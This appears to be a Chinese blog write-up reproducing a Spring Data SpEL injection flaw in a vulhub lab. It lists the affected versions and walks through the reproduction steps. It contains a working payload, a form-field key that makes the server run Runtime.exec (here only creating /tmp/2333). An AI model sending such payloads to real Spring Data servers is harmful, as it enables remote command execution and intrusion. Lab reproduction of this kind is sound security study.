0x01 漏洞简介
当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候,会将用户提交的form表单的key值作为Spel的执行内容而产生漏洞
0x02 影响版本
Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10) Spring Data REST 2.6 - 2.6.10 (Ingalls SR10) Spring Data Commons 2.0 to 2.0.5 (Kay SR5) Spring Data REST 3.0 - 3.0.5 (Kay SR5)
0x03 漏洞复现
这里用的是vulhub靶场,部署好靶场环境,用火狐访问靶场:http://your ip:端口/users 在注册页面提交任意信息
![](https://img-blog.csdnimg.cn/img_convert/7b22a942e621986ee68facf29702c441.png)
bp抓包,发送到repeater进行修改数据包,构造payload,创建文件,进行发包测试
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/2333")]=&password=&repeatedPassword=
![](https://img-blog.csdnimg.cn/img_convert/62cfb5e5e4fae062a8dbd44e346d37a2.png)
进入容器查看文件夹是否创建成功(文件创建成功~):进入centos环境中,执行docker-compose exec spring bash,进入目录(cd tmp),查看tmp下的目录成功出现2333文件,命令执行成功。
![](https://img-blog.csdnimg.cn/img_convert/d4d12603d98f9746cab3cee5129b5e81.png)
执行Ctrl+D 退出当前用户的命令环境
关闭docker环境,docker-compose down
![](https://img-blog.csdnimg.cn/img_convert/f531cb62cc77481fdf41fa8e8e3bd269.png)